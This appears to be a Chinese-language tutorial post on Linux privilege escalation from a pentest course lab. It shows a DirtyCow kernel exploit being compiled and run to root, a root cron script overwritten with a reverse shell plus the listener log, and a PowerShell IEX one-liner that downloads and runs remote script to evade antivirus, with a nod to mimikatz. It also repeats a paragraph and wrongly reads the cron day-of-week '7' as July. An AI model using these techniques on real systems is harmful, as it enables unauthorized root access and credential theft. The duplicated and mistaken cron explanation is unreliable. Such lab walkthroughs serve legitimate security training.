再來是hash的部分。因為linux系統的特性,我們可以用修改shadow file 或是password file的方式,來直接更改password hash來達到提權效果。因為linux他在登入的時候會去看etc-password跟etc-shadow兩個檔案,所以你改了他的hash 你也等於改了密碼,你也不需要知道他原本的密碼是什麼,這是hash的部分。

剛剛是hash的部分,其他尋找的思路像是歷史紀錄或者是config的部分,這個要做一些enumeration。像剛剛提到的歷史紀錄以及一個ovpn這樣的檔案,其實到這邊這兩個都是明文的密碼。

最後一個是ssh,這個比較特別是因為ssh允許你用private key登入,如果你找得到private key,就可以不需要知道密碼直接登入。

那接下來要講的是OS exploit,要攻擊的其實是作業系統的版本。作業系統會一直更新的一部分原因也是因為某個版本又被爆出有怎麼樣的漏洞,比如說Race condition或者是kernel又出事了讓你可以很輕鬆的從user提權到root。那這個部分其實比較出現了,因為現在作業系統越做越安全,考試的時候遇到的機率其實也不是很大。但是他還是一個重要的思路,所以我們還是會快速的提一下。針對這種作業系統的攻擊的話,我們會直接去用現有的Enumeration script去把它找出來。

這個Task20這邊選用的是Exploit suggestor,幫助你找漏洞的概念。那他是用Perl,我們可以直接call他的command跑一下看看是怎麼樣的狀況:

user@debian:~$ perl /home/user/tools/kernel-exploits/linux-exploit-suggester-2/linux-exploit-suggester-2.pl

  #############################
    Linux Exploit Suggester 2
  #############################

  Local Kernel: 2.6.32
  Searching 72 exploits...

  Possible Exploits
  [1] american-sign-language
      CVE-2010-4347
      Source: http://www.securityfocus.com/bid/45408
  [2] can_bcm
      CVE-2010-2959
      Source: http://www.exploit-db.com/exploits/14814
  [3] dirty_cow
      CVE-2016-5195
      Source: http://www.exploit-db.com/exploits/40616
  [4] exploit_x
      CVE-2018-14665
      Source: http://www.exploit-db.com/exploits/45697
  [5] half_nelson1
      Alt: econet       CVE-2010-3848
      Source: http://www.exploit-db.com/exploits/17787
  [6] half_nelson2
      Alt: econet       CVE-2010-3850
      Source: http://www.exploit-db.com/exploits/17787
  [7] half_nelson3
      Alt: econet       CVE-2010-4073
      Source: http://www.exploit-db.com/exploits/17787
  [8] msr
      CVE-2013-0268
      Source: http://www.exploit-db.com/exploits/27297
  [9] pktcdvd
      CVE-2010-3437
      Source: http://www.exploit-db.com/exploits/15150
  [10] ptrace_kmod2
      Alt: ia32syscall,robert_you_suck       CVE-2010-3301
      Source: http://www.exploit-db.com/exploits/15023
  [11] rawmodePTY
      CVE-2014-0196
      Source: http://packetstormsecurity.com/files/download/126603/cve-2014-0196-md.c
  [12] rds
      CVE-2010-3904
      Source: http://www.exploit-db.com/exploits/15285
  [13] reiserfs
      CVE-2010-1146
      Source: http://www.exploit-db.com/exploits/12130
  [14] video4linux
      CVE-2010-3081
      Source: http://www.exploit-db.com/exploits/15024

好,他這邊告訴你說這邊有這麼多的漏洞可能可以用,那我們要用的是這個dirty cow。這個漏洞是copy on write,他攻擊的其實是一個競爭條件,簡單講,比速度。你速度快到可以寫入不應該被寫入的地方的時候你就贏了,贏了之後就可以做提權。

那這個攻擊要用GCC做編譯,我們要看一下基本上他大概是有什麼重要的地方,像是我們可以知道說他這邊用的是msfvenom產出一個binbash的show code,然後把他貼上來這樣子。我們下一步就來compile並執行:

user@debian:~$ gcc -pthread /home/user/tools/kernel-exploits/dirtycow/c0w.c -o c0w ./c0w
gcc: ./c0w: No such file or directory
user@debian:~$ gcc -pthread /home/user/tools/kernel-exploits/dirtycow/c0w.c -o c0w
user@debian:~$ ./c0w

   (___)
   (o o)_____/
    @@ `     \
     \ ____, //usr/bin/passwd
     //    //
    ^^    ^^
DirtyCow root privilege escalation
Backing up /usr/bin/passwd to /tmp/bak
mmap b22fc000

^C
user@debian:~$ /usr/bin/passwd
root@debian:/home/user# whoami
root

這個exploit比較特別,執行到一半可以直接ctrl+c,執行這個/user/bin/passwd就直接會變成root。這個exploit他的寫法基本上就是把/user/bin/passwd給覆蓋掉,覆蓋成一個執行shell的小程式,所以直接執行之後就會直接變成root。

你也可以用uname -a來呼叫出作業系統的版本,你就可以拿linux然後這個作業系統版本丟去google,通常如果他是有漏洞應該是可以找到。

下一個要講的是Cron job,我們會先介紹一下Cron job是什麼,再看要怎麼去攻擊。cron job是linux的系統排程,也就是每過一段時間會執行的script或是command。如果有script會固定的被執行,這代表幾件事情。第一個,這個cron job他要執行的指令或者是script裡面會不會有密碼存在;第二,他會讀取一些什麼樣的檔案;第三,就是我們剛剛提到的suid,他可能是由root執行,所以我們低權限的使用者可以用suid的特性讓我們變成root執行,或者是說我們可以改寫這個binary,導致這個排程以root執行的時候,我們可以更改他的行為,送給我們一個reverse shell、改掉他自己的密碼、改folder或檔案(/etc/password、/etc/shadow)的permission。

就是你可以利用排程,利用比如說root這種高權限,自動指使他去做一些意料之外的行為。那我們來看一下,cron job這個系統排程他是寫在這個裡面:

┌──(root㉿kali)-[~]
└─# cd /etc

┌──(root㉿kali)-[/etc]
└─# cat crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; }
47 6    * * 7   root    test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
52 6    1 * *   root    test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }
#

重點是在這個下面這邊這一串,這個是cron job執行的格式,他這邊告訴你有m、h、day、mon、dow。第一個就是每天每個小時的17分鐘,我要執行這些事情。第二個就是每一天的6點25分我要執行這些事情。dom是指日期,比如說他這邊有一個每個月1號的6點52分我要執行後面的這些事情;這個mon是月份,也就是在7月的每一天的6點47分,我要執行後面的cron.weekly。

第一個就是每天每個小時的17分鐘,我要執行這些事情。第二個就是每一天的6點25分我要執行這些事情。dom是指日期,比如說他這邊有一個每個月1號的6點52分我要執行後面的這些事情;這個mon是月份,也就是在7月的每一天的6點47分,我要執行後面的cron.weekly。00 10 5,10 代表每月 5,10 日早上 10 點各執行一次,那如果全部都是米字號的話那就是每分鐘執行一次

Lab 8當中他的兩個Script都是米字號,而且他的user都是root:

user@debian:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
* * * * * root overwrite.sh
* * * * * root /usr/local/bin/compress.sh

overwrite.sh要找一下在哪裡:

user@debian:~$ locate overwrite.sh
locate: warning: database `/var/cache/locate/locatedb' is more than 8 days old (actual age is 1177.7 days)
/usr/local/bin/overwrite.sh

先來看一下我們有沒有針對這一個sh檔案編輯的權限,那看起來的確是有:

user@debian:~$ ls -al /usr/local/bin/overwrite.sh
-rwxr--rw- 1 root staff 40 May 13  2017 /usr/local/bin/overwrite.sh

這個shell做什麼不重要,目的很簡單,就是我們要去改寫這一個shell script,並且拿到一個shell。所以我們就可以把overwrite.sh寫成一個reverse shell就好了:

上圖紅圈處取代原本overwrite.sh的內容,記得還要有另一個terminal監聽:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp 8073
listening on [any] 8073 ...
connect to [10.18.71.25] from (UNKNOWN) [10.10.182.184] 36770
sh: no job control in this shell
sh-4.1# whoami
whoami
root

剛剛提到說他每分鐘會以root執行一次overwrite.sh,而且系統會根據環境變數從這幾個folder中去尋找有沒有這個檔案。我們可以看一下他的順序,第一個從/home/user,這個folder是我們可以控制的範圍,我們可以寫任何東西在裡面。這樣的話思路就很簡單(下圖lab),我們可以先回到我們的使用者的根目錄,就是/home/user這個地方,直接創建一個檔案叫做overwrite.sh。

等於是說他這個又是在攻擊絕對路徑跟相對路徑,然後他也是透過在環境變數下設定錯誤來改變這個程式應有的行為。

下一個lab:

他的問題是在這個wildcard上面,要把東西壓起來的時候你應該指定你要壓什麼東西而不是把所有東西都給你做打包,看起來是用這一個checkpoint action讓他去執行這一個elf檔案。

無檔案shell是什麼? 簡單來說因為現在你只要放這種病毒、reverse shell,對防毒軟體來講他就是一個病毒。那要如何做到不被偵測是病毒? 那所以為了不被抓到,繞過防毒軟體都必須在memory上面執行指令。那有幾種方法,我這邊講的是針對windows的。

linux上面有terminal,powershell就是windows的terminal很好用功能也很多。我們剛剛提到了windows機器應該會有防毒軟體或者是任何防禦的工具,放一些病毒啊或一些惡意的指令通常都會被抓到,我今天不想要我的exe檔案落地。

PowerShell script的話,我可以用iex這種指令去執行一些有的沒的東西,比如說惡意的指令。那iex其實是縮寫,這個地方我們可以去執行遠端的一個Shell script:

powershell  -c "IEX(New-Object Net.WebClient).DownloadString('http://xxx.xxx.xxx/a')"

發生的事情就是告訴PowerShell我要呼叫一個web的API,因為我要做跟網路有關的事情。那這個API被叫出來之後他的一個method叫DownloadString,之後我就可以去tcp然後我這台Kali的VPN IP。

mimikatz不只有exe的版本,其實也有powershell的版本,可以應用一樣的技巧來躲避防毒對mimikatz的查殺。










Related Posts

模組化與 library

模組化與 library

重新立名檔案或資料夾

重新立名檔案或資料夾

Babel 入門:用 Babel 轉換太潮的 JavaScript

Babel 入門:用 Babel 轉換太潮的 JavaScript


Comments